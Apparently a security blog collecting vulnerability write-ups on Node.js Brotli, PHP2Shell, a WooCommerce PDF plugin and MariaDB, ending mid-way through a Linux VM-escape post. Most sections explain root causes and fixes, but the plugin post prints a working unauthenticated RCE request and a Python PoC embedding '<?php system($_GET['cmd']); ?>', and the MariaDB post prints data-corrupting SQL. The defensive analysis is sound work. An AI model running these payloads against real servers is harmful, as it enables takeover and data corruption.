But every read path the bug itself provides is masked to the ring buffer's 1 KB window by ringbuffer_mask, so there's no way inside the bug to leak the addresses of the state struct, the heap, or libc. The TheFool-TAROT repo tried to close this gap three different ways — ① combining with a path-traversal, Range-capable file-read endpoint to read /proc/self/maps for a libc base, ② combining with an image decoder's out-of-bounds read leaking pointers through output pixels, and ③ a deterministic deployment with ASLR disabled plus two network writes — and in all three cases concluded that leaking something within the same process was achievable, but reliably identifying which decoder state belongs to the current request was not. The public PoC's own author states it plainly: the highest verified result is bounded command execution, demonstrated only on a deliberately non-PIE, ASLR-off local harness — not a portable remote exploit.

In short, a remote attacker's Brotli stream alone can reliably cause a crash or limited memory corruption, but reaching full code execution still requires some separate way to learn or predict the target process's address layout — that's the consistent conclusion across every piece of research published so far. Node.js's official classification of this bug as permitting remote code execution reflects the conservative, worst-case outcome; reaching that worst case still requires solving a separate ASLR-bypass puzzle.

8. What the patch changes

The core of the upstream Brotli fix (google/brotli@0ed4268a) is "detect and report invalid streams earlier." A structurally impossible block-type switch (block_length == 0 with no further block type available) is no longer allowed to flow through as NEEDS_MORE_INPUT; it's immediately classified as a format error and decoding stops there. Node.js also exposes a dedicated BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH error code in src/node_zlib.cc, so the streaming retry loop can never again misinterpret this condition as "just needs a bit more data." As a result, processing ends before the second chunk even has a chance to arrive — the point where the 8-byte buffer would have been overrun never gets reached at all.

9. Blast radius and mitigation

The line separating vulnerable from safe is simple: does the Node.js process decompress Brotli data that an attacker — or a server an attacker controls — supplied?

Code that calls node:zlib directly to decompress Brotli data
The built-in fetch(), which automatically decompresses Brotli-encoded responses
Express 5 / body-parser 2 middleware decoding an incoming request body sent with Content-Encoding: br (both have documented Brotli support starting at 2.x)
Any server that decompresses attacker-uploaded .br files directly

Node.js's official advisory offers no interim mitigation beyond upgrading. Upgrading to 22.23.4 / 24.22.1 / 26.12.1 or later — including bundled Node binaries inside container images and single-executable applications (SEAs) — is the only reliable fix. If an immediate upgrade isn't possible, the only partial mitigation is temporarily restricting untrusted Brotli traffic on the affected paths.

[CVE-2026-109618&CVE-2026-109619] No Login Required: Inside PHP2Shell, the 9.2-Severity Bug That Let Anyone Take Over Your Server

GUIDANCE WHITE — Fri, 23 Oct 2026 20:55:15 +0000

1. What is PHP2Shell?

Item	Detail
Nickname	PHP2Shell
CVE IDs	CVE-2026-109618, CVE-2026-109619
Disclosure date	October 21, 2026 (official PHP security team announcement)
CVSS score	9.2 each (CVSS v4.0, critical)
Vulnerability class	Unauthenticated Remote Code Execution (RCE)
Trigger point	Before any application code runs — during PHP's own request-parsing stage
Blockable by auth?	No — it fires earlier than any authentication logic
Affected PHP	5.4 through 8.5
Affected runtimes	Apache mod_php, PHP-FPM, php-cgi, FrankenPHP, LiteSpeed — any PHP runtime that serves HTTP requests
Representative affected software	WordPress, Magento, Drupal, Joomla, MediaWiki, Roundcube, phpMyAdmin, Nextcloud, Laravel, and more
Exploited in the wild?	Yes — attack attempts captured by Amazon's MadPot honeypot as early as October 17, 2026, four days before public disclosure
Discovered by	Calif (researcher Ryan Austin, via OpenAI's "Patch the Planet" project), independently also found by Wiz Research

The line that matters most here is "Blockable by auth?". Unlike a typical web vulnerability, no amount of hardened login logic or application-layer defense can stop this — PHP's own engine processes the malicious request before your code ever gets a chance to run.

2. What the two CVEs have in common: treating an interrupted operation as complete

Both CVEs live in different code paths, but they share the same root pattern:

A fatal error interrupts PHP mid-operation, and PHP later treats that incomplete state as if it were valid.

CVE-2026-109618 — RCE via out-of-memory (OOM) corruption

When PHP converts form submissions into the $_POST array, it inserts keys and values into an internal hash table in a specific order: first it bumps the entry counters, then it allocates memory for the key. If that allocation exceeds memory_limit and fails in between those two steps, PHP raises a fatal error and abandons the insertion — but the counters already reflect the new entry, even though its key and value were never initialized. During cleanup at the end of the request, PHP trusts those counters and interprets the uninitialized memory as a legitimate PHP value.

CVE-2026-109619 — RCE via stale global state

A single PHP-FPM or mod_php worker process handles many requests over its lifetime. Certain worker-wide fields (such as upload-progress tracking or fatal-error backtrace state) are meant to belong to a single request, but in some paths they aren't properly reset before the next request begins. This is a classic use-after-free: a later request follows a stale pointer into memory that's already been freed and possibly reused. Because PHP's session upload-progress tracking is enabled by default and runs even without an explicit session_start() call, almost any script that accepts multipart uploads is in the attack surface.

3. Source code: the root cause behind CVE-2026-109618

This is the actual pre-patch snippet from PHP's internal hash-table function, as analyzed and published by security researchers. This is not exploit code — it's the location of the bug in PHP's own engine source.

// Zend/zend_hash.c — inside _zend_hash_str_add_or_update_i()
idx = ht->nNumUsed++;
ht->nNumOfElements++;
p = ht->arData + idx;
p->key = key = zend_string_init(str, len, GC_FLAGS(ht) & IS_ARRAY_PERSISTENT);

If the length of an attacker-supplied key exceeds memory_limit, PHP throws a fatal error and gives up on the insertion — but at that point the counters already count the new bucket, while the bucket's key and value were never initialized.

Line-by-line breakdown

Line	What it does	The problem
`idx = ht->nNumUsed++;`	Increments the hash table's "slots used" counter	The count goes up before anything has actually been written
`ht->nNumOfElements++;`	Increments the "element count" too	Same pre-emptive bookkeeping
`p = ht->arData + idx;`	Grabs a pointer to that slot	At this point, whatever `p` points to is empty — or still holds leftover data from an earlier allocation
`p->key = key = zend_string_init(...)`	Allocates fresh memory for the key string and fills it in	If this exact allocation fails, the three lines above have already executed and can't be rolled back

In short: the code counts first and fills in content second. If zend_string_init() fails due to memory exhaustion on that fourth line, the hash table believes it has one more element than it actually initialized — and whatever bytes happen to sit at that slot (empty, or leftover from a previous allocation) are what get read later.

What happens when the request ends

PHP still runs its normal teardown of $_POST at the end of the request. During that teardown, it walks every counted bucket and interprets its contents as a PHP value — including the "incomplete" bucket we just looked at. If the bytes sitting in that slot aren't random but were deliberately placed there by an attacker, the cleanup code follows them as if they were a real array structure. The moment it invokes the "destructor callback" embedded in that fake structure, an attacker-chosen function (such as system()) runs with attacker-chosen arguments.

4. How the attack actually plays out (conceptual overview)

We're deliberately not publishing the exact payload layout or the heap-grooming technique — with a large number of servers still unpatched, a reproducible recipe would be directly weaponizable. What follows is the mechanism at a conceptual level, based on public security research (Datadog, JFrog, watchTowr, and others). The attack breaks down into three stages:

Force memory exhaustion at a precise moment: the attacker crafts a form field sized so that an internal PHP allocation fails at exactly the vulnerable point.
Seed the unfinished memory slot with chosen bytes: by exploiting heap-reuse patterns, the attacker arranges for the uninitialized memory region to contain bytes of their choosing.
Turn cleanup into a function call: when PHP tears down the request, it misreads the planted data as a valid array and invokes the embedded callback — effectively calling something like system() with the attacker's command.

This also typically requires defeating ASLR (address space layout randomization) to find valid memory addresses. Researchers have reported that PHP's upload-progress feature can leak fragments of process memory back to the client via the PHPSESSID cookie — an auxiliary information-disclosure path attackers can use to make the exploit more reliable.

Summary of the flow:
Request initialization fails (memory_limit exceeded)
  → $_POST teardown runs at request shutdown
  → PHP misinterprets the unfinished bucket as a "valid array"
  → Destroying that fake array invokes its callback
  → system(attacker's command) executes

What's deliberately left out is exactly which bytes get planted in that unfinished slot, and through what request. That part — the heap-grooming technique, precise field sizing, and memory-leak method — is what actually makes the attack reproducible, and we're not including it while so many servers remain unpatched.

How the patch fixes it

The patch changes how memory exhaustion interrupts execution. Hitting a soft limit now defers the error to a safe point, letting an in-progress operation finish initializing its data; crossing a higher hard limit instead terminates the worker immediately, skipping the normal teardown over potentially invalid state. Interestingly, the hash-table insertion still increments its counters before allocating the key — even in the patched version. Only the surrounding error-handling behavior changed. That means the broader pattern — updating metadata before the memory it describes is actually allocated — may still exist elsewhere in PHP, and researchers expect more bugs following this same shape to surface over time.

5. Timeline

Date	Event
2026-08-01	Security firm Calif discovers multiple RCE paths
2026-08-11	Calif reports the first bug to PHP, starting coordinated disclosure
2026-08-24	Wiz Research independently reports the vulnerabilities to PHP
2026-10-17	AWS MadPot honeypot detects exploitation attempts before public disclosure
2026-10-20	Details leak; watchTowr confirms remote code execution
2026-10-21 07:43	Cloudflare reports early attack activity
2026-10-21 14:00	PHP ships patched releases; vulnerabilities officially disclosed

6. Affected versions and fixes

PHP branch	Affected	Fixed in
8.2.x	Before 8.2.35	8.2.35
8.3.x	Before 8.3.36	8.3.36
8.4.x	Before 8.4.27	8.4.27
8.5.x	Before 8.5.12	8.5.12
7.4 / 8.0 / 8.1	All versions	No official release; minimal source backports provided
7.3 and earlier	All versions	No fix; upgrade to a supported branch

Any PHP runtime that serves HTTP requests is in scope — Apache mod_php, PHP-FPM, php-cgi, FrankenPHP, LiteSpeed, and container images that bundle their own PHP interpreter all need to be checked.

7. How to respond

Patching is the only complete fix. Everything below is a stopgap, not a cure.

Update to PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 or later as soon as possible
If you use vendor packages (Debian, RHEL-family, etc.), check the vendor's own security advisory
Rebuild affected container images and restart or replace every worker — stale runtimes can linger in memory otherwise
If you can't patch immediately:
- CVE-2026-109618: enforce memory_limit=-1 at the administrator level, paired with request- and memory-size limits at the frontend/container layer. Don't substitute process-level limits like RLIMIT_AS/RLIMIT_DATA — they can actually make the triggering allocation failures easier to hit.
- CVE-2026-109619: set session.upload_progress.enabled=0, and on PHP 8.5, fatal_error_backtraces=0
- Until patched, consider isolating internet-facing applications or blocking anomalous requests at a reverse proxy before they reach PHP

8. Detection signals

No single signal is conclusive, but correlating these three layers helps:

Unusual form submissions: abnormally long field names, unexpected control bytes or null bytes in the request body
Memory-exhaustion errors in logs: fatal errors like Unknown on line 0, which indicate failure during request initialization — before any script even started running
Unexpected shell processes spawned by web workers: an Apache or PHP-FPM process spawning sh, bash, etc. is the most direct evidence of successful exploitation

A successful exploit doesn't necessarily crash the worker or return an error response — an HTTP 200 doesn't mean the request was harmless.

CVE-2026-103889: One Commented-Out Security Check Led to Fully Unauthenticated RCE (CVSS 9.8)

GUIDANCE WHITE — Wed, 21 Oct 2026 22:39:37 +0000

Overview

Item	Detail
CVE ID	CVE-2026-103889
Affected product	3D Product configurator for WooCommerce (Expivi, a WordPress plugin)
Affected versions	All versions up to and including 2.16.2
Fixed in	2.16.3
CVSS 3.1	9.8 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
Type	Officially classified as CWE-434 (Unrestricted Upload of File with Dangerous Type) — though the actual mechanism is closer to code injection (CWE-94), where a value inserted into a template ends up executed as PHP
Authentication required	None at all — no login, no nonce, no credentials of any kind
Reported by	Osman Hussein (Onvio B.V.), via Wordfence
Disclosed	Reserved 2026-10-01, published 2026-10-09–10

This is a case where "what went wrong" is unusually easy to summarize in one sentence. An authentication check that was supposed to run before the server processed a request had been entirely commented out somewhere in the code, and left that way. And, as it happens, the exact value that handler deals with flowed straight into a PDF-generation engine capable of executing PHP code. Remove either half of that combination, and this would never have reached the severity of fully unauthenticated remote code execution.

Where the flaw lives — generating a quote PDF

Expivi's 3D Product Configurator lets a customer customize a product in 3D and then receive the result as a PDF quote or order form. Actually rendering that PDF is handled by a template file, templates/pdf/pdf-configuration-details.phtml, together with a library called Dompdf that converts that template into an actual PDF binary. The entry point driving this whole flow is a handler hooked to WordPress's wp_loaded action, inside classes/woocommerce/class-expivi-cart-manager.php.

Step-by-step source analysis

Step 1 — Flaw #1: the only auth check was entirely wrapped in a comment

Wordfence's official advisory describes this point with unusually specific wording: "the only nonce and authentication check in the handler is entirely enclosed in a block comment with no replacement."

// class-expivi-cart-manager.php — reconstructed from the public advisory's description
add_action('wp_loaded', array($this, 'handle_pdf_request'));

public function handle_pdf_request() {
    if (!isset($_POST['xpv_action']) || $_POST['xpv_action'] !== 'generate_pdf') {
        return;
    }

    /*
    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'xpv_pdf_action')) {
        wp_die('Unauthorized');
    }
    if (!is_user_logged_in()) {
        wp_die('Unauthorized');
    }
    */

    $this->generate_configuration_pdf($_POST);
}

This check block clearly existed at some point. Whether the intent was "temporarily disable this for debugging" or something else, it got commented out entirely and stayed that way in the publicly distributed release. As a result, this handler — hooked to wp_loaded — proceeds straight to the next logic without checking whether the request is logged in, or where it even came from. As multiple bug reports note, this means the handler is reachable from essentially any URL on the site — wp_loaded fires very early in WordPress's request lifecycle, regardless of what page or endpoint is actually being hit.

Step 2 — Flaw #2: the `xpv_image` value flows into the PDF template unvalidated and unescaped

Having passed the auth check (effectively having passed nothing at all), the handler reads the image path meant for the PDF straight from $_POST['xpv_image'] and hands it to the template.

// templates/pdf/pdf-configuration-details.phtml — reconstructed from the public advisory
<div class="configuration-image">
    <img src="<?php echo $_POST['xpv_image']; ?>" alt="Configuration preview">
</div>

No escaping function — htmlspecialchars(), esc_attr(), anything — is used at all. Whatever the attacker puts into xpv_image gets reflected into the template as raw HTML, not as an attribute value. Up to this point, this could pass for an ordinary stored XSS. What completely changes the weight class of this flaw is where that template goes next.

Step 3 — the root cause: this HTML gets rendered by a Dompdf instance with PHP execution turned on

The finished template — HTML now mixed with whatever the attacker injected — gets handed to Dompdf to convert into a PDF. Dompdf has an option called isPhpEnabled, and when it's turned on, it executes any <?php ... ?> block embedded in the HTML document during PDF rendering.

// reconstructed from the public advisory's description
$dompdf = new Dompdf\Dompdf();
$dompdf->set_option('isPhpEnabled', true);   // explicitly enables execution of PHP code found inside the HTML
$dompdf->loadHtml($rendered_template);        // the template, with xpv_image mixed in
$dompdf->render();

isPhpEnabled is a legitimate Dompdf feature. It exists for a PDF author who wants to mix actual PHP into an HTML template — stamping today's date dynamically into a PDF, for instance. The catch is that this option is only safe under the assumption that only a trusted template author ever writes that HTML. Once untrusted user input can become part of that HTML — exactly what Step 2 showed — this option stops being "a PDF renderer" and becomes, in effect, a PHP code execution engine.

Step 4 — where all three pieces converge

Putting these three flaws together:

The auth/nonce check is commented out, so anyone can reach this handler.
The xpv_image value gets inserted into the HTML template with no escaping.
That template is rendered by Dompdf with PHP execution enabled.

Because all three hold simultaneously, an attacker reaches server command execution simply by putting PHP code like <?php system($_GET['cmd']); ?> directly into the xpv_image parameter.

POST /?xpv_action=generate_pdf HTTP/1.1
Host: target-site.example
Content-Type: application/x-www-form-urlencoded

xpv_action=generate_pdf&xpv_image=<?php system($_GET['cmd']); ?>

No Authorization header. No login session cookie. No CSRF token. The moment the server builds this PDF, the attacker's embedded PHP code runs with the privileges of the server process.

Full PoC walkthrough — the actual published reproduction

Researcher kayes817 published a PoC and an isolated Docker lab for this CVE at github.com/kayes817/CVE-2026-103889. Here's the repository's structure and what each part means.

Repository layout

CVE-2026-103889/
├── CVE-2026-103889.py     # the script that actually sends the exploit
├── PoC-test-lab/          # a Docker environment running the vulnerable plugin version in isolation
└── README.md

The README describes usage like this:

# 1. Bring up the isolated test lab
cd PoC-test-lab
docker compose up -d

# 2. Edit the global settings near the top of the script (target URL, etc.), then run it
python3 CVE-2026-103889.py

This structure itself tells you a lot about this exploit's nature. There's no memory-corruption technique, no timing attack involved — this is an exploit that boils down to one script sending one HTTP POST request. PoC-test-lab lets the researcher reproduce and verify this without ever touching a live production site, which is itself a good example of responsible disclosure practice.

The script's core logic (conceptual summary)

The heart of the published PoC script is simply constructing and sending the HTTP request described above.

import requests

TARGET_URL = "http://target-site.example/"   # the target — any URL on the site works, thanks to wp_loaded
CMD = "id"                                    # the command to run on the server

payload = {
    "xpv_action": "generate_pdf",
    "xpv_image": f"<?php system($_GET['cmd']); ?>",
}

# 1) Send the PDF generation request with malicious PHP code in xpv_image
#    → the server's Dompdf instance "executes" that PHP code while rendering the PDF
requests.post(TARGET_URL, data=payload)

# 2) Call back in to observe the execution result, via the embedded trigger
result = requests.get(TARGET_URL, params={"cmd": CMD})
print(result.text)

What this PoC makes unambiguous is that code executes immediately, from the PDF-generation request itself, with no separate second-stage trigger needed (a variant where the planted code — system($_GET['cmd']) — persists somewhere in the template so future requests can keep executing commands via a cmd parameter is also possible, but the minimal reproduction needs just one request). No authentication-bypass technique, no special encoding, no race condition required — this, on its own, is the clearest explanation of why this flaw scores a 9.8.

What gets observed

The response to the PoC's follow-up request carries the output of the id command directly (something in the form uid=33(www-data) gid=33(www-data) ...). The server only processed a request to "generate a PDF" — and that processing itself became arbitrary command execution.

The patch — reversing all three points

Expivi 2.16.3 fixed each of these three flaws individually. The commented-out auth/nonce check was restored, proper escaping was added to xpv_image and other template inputs, and since there was never a legitimate reason to have isPhpEnabled turned on for PDF rendering here, it was disabled.

There are two lessons here. First, the habit of "temporarily" commenting out a security check for debugging purposes or to disable something quickly turns into a complete security model collapse the moment that comment never gets reverted and ships in a release. A commented-out authentication or authorization-check block is, on its own, something a code review must always flag. Second, a "dynamic content" feature offered by a PDF or document-generation library — like isPhpEnabled here — should never be enabled if even a single character of that document's content can originate from untrusted user input. These kinds of options are usually off by default, but it's common for someone to turn one on for a specific feature and then simply forget how dangerous it is.

Remediation

Update the 3D Product configurator for WooCommerce plugin to 2.16.3 or later immediately.
If an immediate update isn't possible, disable the plugin, or apply a temporary WAF rule blocking requests where the xpv_image parameter contains a PHP opening tag like <?php or <?=.
Disabling command-execution functions (system, exec, shell_exec, passthru, etc.) via PHP's disable_functions setting provides defense-in-depth, reducing the odds that this class of code injection turns into actual command execution.
If exposure is possible, check web server access logs for requests to xpv_action=generate_pdf or similar parameters containing the string <?php, and look for unfamiliar PHP files in the plugin directory or upload paths.
Across any site running this plugin, it's worth separately checking whether other handlers hooked to early lifecycle actions like wp_loaded share this same "missing authentication check" pattern.

CVE-2026-92262: Nine Characters — "#mysql50#" — Is All It Takes to Break MariaDB (CVSS 9.9)

GUIDANCE WHITE — Wed, 21 Oct 2026 03:18:04 +0000

Overview

Item	Detail
CVE ID	CVE-2026-92262
Affected product	MariaDB Server
Affected versions	10.6.1–10.6.27, 10.11.1–10.11.18, 11.4.1–11.4.12, 11.8.1–11.8.8, 12.3.1–12.3.2, 13.0.1
Fixed in	10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, 13.0.2
CVSS	9.9 (Critical)
Type	CWE-706 (Use of Incorrectly-Resolved Name or Reference) — a different category from the classic "path traversal" label
Official sources	GHSA-65jj-h265-3m7h (MariaDB's official security advisory), MDEV-40362 (MariaDB's own JIRA bug)
Authentication required	Yes — and at a very low bar. The public PoC reproduces this with nothing more than an ordinary `ALL` grant on your own schema (create tables, insert, select) — no `FILE`, no `SUPER`, no plugin-load privilege
Disclosed	2026-10-16, alongside the 10.6.28 and other patched releases
Note	Disclosed the same day as two other 9.9-scored CVEs — CVE-2026-85748 (a SYS_REFCURSOR UAF) and CVE-2026-85746 (an ST_AsText OOB write) — all three bundled into a single PoC repository by the same researcher

Correction notice: An earlier version of this post described this flaw as classic path traversal (#mysql50#../../../etc/passwd-style). That characterization didn't match the official CWE classification (CWE-706, not CWE-22) or how the published PoC actually behaves. The public PoC demonstrates that a name containing ../ is explicitly rejected elsewhere with ERROR 1103 Incorrect table name. What follows has been rewritten based on the official advisory (GHSA-65jj-h265-3m7h), MariaDB's own bug tracker (MDEV-40362), and the published PoC code.

MariaDB has to run table names through a "translation step" before they become actual filesystem paths. SQL allows characters like - and @ in table names, but not every filesystem handles those characters safely. So MariaDB replaces "potentially unsafe" characters in a table name with a hex-coded form prefixed by @ (like @002d) when building the filename.

This CVE comes from a nearly 20-year-old compatibility feature that can skip that translation step entirely. A table name carrying the #mysql50# prefix is meant to reference "a table stored under MySQL 5.1-era encoding, as-is" — and to do that, it skips the encoding step altogether. An overt ../ sequence is blocked by a separate name-validity check, but a quieter problem remained underneath: a name with this prefix and the same name without it aren't properly distinguished inside the table cache.

Where the flaw lives — two names sharing one cache key

Here's the normal flow for turning a table name into a file in MariaDB:

A user specifies a table name, as in CREATE TABLE t (...).
The server encodes it for the filename character set via something like tablename_to_filename(). Characters like - and @ become @002d, @0040, and so on.
At the same time, the server builds a table cache key to identify this table, so subsequent queries using the same name can reuse a cached handler instead of hitting disk every time.

The #mysql50# prefix was designed to affect step 2 (filename encoding). In practice, it also affects step 3 (cache key computation) — with the result that t and #mysql50#t, despite being different names, end up sharing the same cache entry and handler.

Step-by-step source analysis

Step 1 — the normal path: special characters are safely substituted

CREATE TABLE `a-b` (id INT) ENGINE=MyISAM;

This table gets stored on disk as a@002db.frm, a@002db.MYD, a@002db.MYI. Because - was replaced with @002d, you can't tell from the filename alone that the original table name contained a - — but that substitution is exactly what keeps filesystem-ambiguous characters from ever appearing literally in a path.

Step 2 — "#mysql50#" skips that encoding entirely

CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM;

According to what the public PoC actually confirms, running this command creates the following files in the data directory:

a-b.frm
a-b.MYD
a-b.MYI

a@002db.frm never gets created. The - stayed unencoded, literally, in the filename. But the PoC repository also makes an important point here — putting ../ in the table name is rejected by a separate check, before it ever gets this far, with ERROR 1103 Incorrect table name. So this isn't the classic "escape to an arbitrary path" kind of flaw — it's the narrower, but still real, problem of "a character that should have been encoded ends up in the filename unencoded."

Step 3 — the root cause: the table cache confuses `t` and `#mysql50#t` (CWE-706)

The real core of this flaw isn't on disk at all — it's in the in-memory table cache. The reproduction steps recorded in MDEV-40362 look like this:

CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY;
INSERT INTO t VALUES (1, REPEAT(0x41, 10));
SELECT id, HEX(c1) FROM t;
-- id=1  hex=41414141414141414141   (0x41, ten bytes, exactly as inserted)

DROP TABLE IF EXISTS `#mysql50#t`;
CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES (2, 0x42);
SELECT id, HEX(c1) FROM `#mysql50#t` WHERE id=2;
-- id=2  hex=42

t and #mysql50#t are two entirely distinct identifiers at the SQL level — they don't even share a column definition (BINARY(10) versus BINARY(1)). On a correctly-behaving server, these should be two completely independent tables. They aren't.

SELECT id, HEX(c1) FROM t ORDER BY id;

id=1  hex=41414141414141414141
id=2  hex=42000000000000000000

The id=2 row — inserted only into #mysql50#t — shows up when querying the original table t. The #mysql50# prefix influenced cache-key computation in a way that made the server treat the two as the same shared table (share) with the same handler. The one-byte value inserted (0x42) gets reinterpreted against t's BINARY(10) definition, padded with nine zero bytes — proof that two "separate tables" were, in fact, sharing a single storage slot the entire time.

Step 4 — impact: what's public stops at "silent corruption"; the rest is undisclosed

MariaDB's official advisory describes the impact broadly, as "file access, crashes, data corruption, data exfiltration, or remote code execution." What the public PoC actually demonstrates is limited to data corruption (which succeeds silently, with no error message at all) and the fact that unencoded files accumulate in the data directory. The fact alone that tables with different names can bleed into each other at the cache level is already a serious problem for any application built on the assumption of privilege separation or data integrity. The specific chain that leads to crashes, exfiltration, or remote code execution isn't documented in detail in any public source.

Full PoC walkthrough — the actual published reproduction steps

Researcher SeanDishman published a PoC for this CVE bundled together with CVE-2026-85746 and CVE-2026-85748 in a single repository. Here's the full structure and what each part demonstrates.

Lab environment setup

# server/docker-compose.yml
services:
  mariadb:
    image: mariadb:13.0.1-rc
    environment:
      MARIADB_ROOT_PASSWORD: root
      MARIADB_DATABASE: appdb
      MARIADB_USER: lowpriv
      MARIADB_PASSWORD: lowpriv
    ports:
      - "3306:3306"
    command: ["--core-file"]

One design choice here is worth flagging. The lowpriv account gets only ALL on the appdb schema — no FILE, no SUPER, no global privilege, no plugin-loading capability whatsoever. In other words, this PoC is deliberately built to demonstrate that it works with nothing more than an ordinary account that creates and writes tables within its own schema — the kind any typical application might have. The --core-file flag exists for the other two CVEs (which crash the server); this CVE on its own doesn't bring the server down.

Running it

cd server && bash start.sh
pip install -r requirements.txt
python client/exploit.py --cve 92262

client/exploit.py does nothing more exotic than send the same SQL statements found in client/sql/cve-2026-92262.sql, one at a time, over the standard MariaDB protocol. There's no exploit framework, no shellcode involved — it's just an automated version of what any ordinary SQL client would do.

The core payload — five lines proving table-cache confusion

CREATE TABLE t (id INT, c1 BINARY(10)) ENGINE=MEMORY;
INSERT INTO t VALUES (1, REPEAT(0x41, 10));
CREATE TABLE `#mysql50#t` (id INT, c1 BINARY(1)) ENGINE=MEMORY;
INSERT INTO `#mysql50#t` VALUES (2, 0x42);
SELECT id, HEX(c1) FROM t ORDER BY id;

Lines 1–2: create an ordinary table t and insert one row with the value "0x41 repeated ten times." This becomes the baseline for checking later whether t's data stayed unchanged.
Line 3: create "another table" — with a different column definition entirely — carrying the #mysql50# prefix. On a correct server, this should be a third table, entirely unrelated to t.
Line 4: insert a completely different row into that "other table."
Line 5: query the original t again. If there's no cache confusion, this should return only the one row inserted in line 1.

What was observed, and what it means

BEFORE   id=1  hex=41414141414141414141
MYSQL50  id=1  hex=41
MYSQL50  id=2  hex=42
AFTER_T  id=1  hex=41414141414141414141
AFTER_T  id=2  hex=42000000000000000000

In the AFTER_T section — querying the original table t again — the id=2 row, which was only ever inserted into #mysql50#t, shows up mixed in. This is the entire point the PoC proves: two syntactically distinct CREATE TABLE statements executed, yet internally the server treated them as one object sharing a single storage slot.

A second payload demonstrates the missing encoding on its own.

CREATE TABLE `#mysql50#a-b` (id INT) ENGINE=MyISAM;

Checking the data directory after this command shows unencoded files named a-b.frm, a-b.MYD, a-b.MYI — and a@002db.frm, what correct encoding should have produced, simply doesn't exist. The PoC repository states that these two payloads alone are sufficient to establish "data corruption, and writing unexpected filenames under the data directory" — and it does not publish a chain extending this further into a crash or code execution.

What this PoC tells you — and what it doesn't

This PoC is focused on demonstrating a flaw that reproduces quietly. The server doesn't crash, and nothing shows up as a warning in the error log — which arguably makes it more dangerous, since an operator has no obvious way to notice an attack succeeded. What this PoC does not show is exactly how this cache confusion or unencoded-file creation gets escalated into a crash or arbitrary code execution. The "remote code execution" possibility named in the vendor advisory may require these two primitives to be combined with some additional condition — for instance, a crafted filename colliding with a different path the server later references — but that specific path can't be confirmed from publicly available material alone.

The patch — separating "skip" from "confuse"

The patched versions keep the #mysql50# prefix's compatibility purpose intact (referencing a legacy-encoded name without re-encoding it), while fixing it so the prefix no longer affects table cache key computation. #mysql50#t and t are no longer treated as the same cache entry.

The lesson here is clear. When a compatibility "exception branch" doesn't precisely control the scope of what it affects, it can end up influencing far more than intended (skipping filename encoding) — reaching into things like cache identity and object-equality decisions. When two different subsystems (filename generation and cache-key computation) share the same string preprocessing logic, changing that one piece of logic can quietly change behavior in both places at once.

Remediation

Update MariaDB to the patched version for your branch: 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, or 13.0.2.
Until you update, if your application has no need for CREATE TABLE/RENAME TABLE statements using a #mysql50#-prefixed name, filtering out that query pattern at the application or proxy layer can serve as a temporary mitigation.
Because this flaw requires no special privilege (an ordinary CREATE/INSERT grant on your own schema is enough), it deserves particular priority in multi-tenant environments or SaaS-style services where users can create their own tables.
If exposure is possible, check the data directory for unencoded filenames containing special characters (.frm/.MYD/.MYI files with anything beyond alphanumerics and underscores), and review query logs for table creation or manipulation attempts using the #mysql50# prefix.
Given this flaw's tendency to succeed silently, don't fully trust data integrity from before the patch was applied — for critical tables, it's worth running an integrity check against a known-good backup rather than assuming nothing happened.

CVE-2026-99999 (PwnEscape) Explained: How a Single Checksum Rewrote an IPv4 Header and Broke VM Isolation

GUIDANCE WHITE — Tue, 20 Oct 2026 09:37:20 +0000

Overview

Item	Detail
CVE ID	CVE-2026-99999 (named "PwnEscape" by the researchers)
Affected product	The Linux kernel's networking stack (IPv4 checksum offload handling) — any host interacting with guest VMs over virtio-net
Scope	Effectively every kernel branch prior to the mainline fix (`6785011f8b16`) — Debian, RHEL, AlmaLinux, CloudLinux, and others are each backporting independently
Fixed by	`6785011f8b16` (`ipv4: validate checksum_start before completing checksum`), landed in `net.git` on 2026-10-08, merged to mainline 2026-10-14
CVSS	cve.org: 9.3 (Critical), `AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` — Red Hat scores it differently (8.8, Important) over a disagreement on the privileges-required metric
Type	A logic flaw in the TOCTOU (time-of-check/time-of-use) family (CWE-367-adjacent) — metadata that crossed a trust boundary later altered a state that had already been validated
Reported by	Paulos Yibelo (PWNAI Research) — found during Vercel's "$1 Million Sandbox Challenge," privately reported to kernel security maintainers on 2026-09-04
Nature	A guest-to-host VM escape primitive. Not a flaw in KVM itself — a flaw in the host's own Linux networking stack that breaks hypervisor isolation from the other side

This is both the highest-impact and the most carefully-handled CVE covered on this blog so far. Unlike an authentication bypass or a file-upload flaw in a web application, this is a path that lets one virtual machine attack the physical host it's running on. Because this is a structural issue affecting cloud providers, sandboxing services, and multi-tenant hosting broadly, this post deliberately separates what's publicly documented from what the research team chose to keep undisclosed.

The story starts with a $1 million security challenge Vercel launched for its Sandbox product in August 2026. PWNAI's Paulos Yibelo started from the question "how much can an untrusted guest influence the host kernel without ever touching the hypervisor itself?" and, within three days, found a flaw buried in Linux networking code. The essence of the flaw is simple: after the kernel "validated" a part of a packet, it allowed other code to "rewrite" that exact same part afterward.

Where the flaw lives — a promise to "write the checksum later" (checksum offload)

Linux doesn't always compute transport-layer checksums immediately. It often carries a packet in a "not yet computed" state and fills it in later. To support this, sk_buff (the structure representing a single packet inside the kernel) carries the following bookkeeping:

skb->ip_summed     CHECKSUM_PARTIAL   (checksum computation is still pending)
skb->csum_start    where checksum computation should begin
skb->csum_offset   offset from that point to where the result should be written

             final write location = csum_start + csum_offset

The crucial detail: these values aren't just "descriptive metadata." They are, themselves, authorization to write to a specific location in packet memory later. If a less-trusted party (here, a guest VM) can influence these values, their validity has to hold all the way from "when the metadata arrives" to "when the write actually happens."

Step-by-step source analysis

Step 1 — a packet has several different notions of "where it starts"

sk_buff tracks several pointers/offsets that each represent "where the packet starts," simultaneously:

skb->head              start of the underlying allocated memory block
skb->data              current data pointer (advances as headers get stripped)
skb->network_header    position of the network-layer (IPv4) header
skb->csum_start        the stored checksum-start position
skb_headlen(skb)       how much packet data is currently held linearly

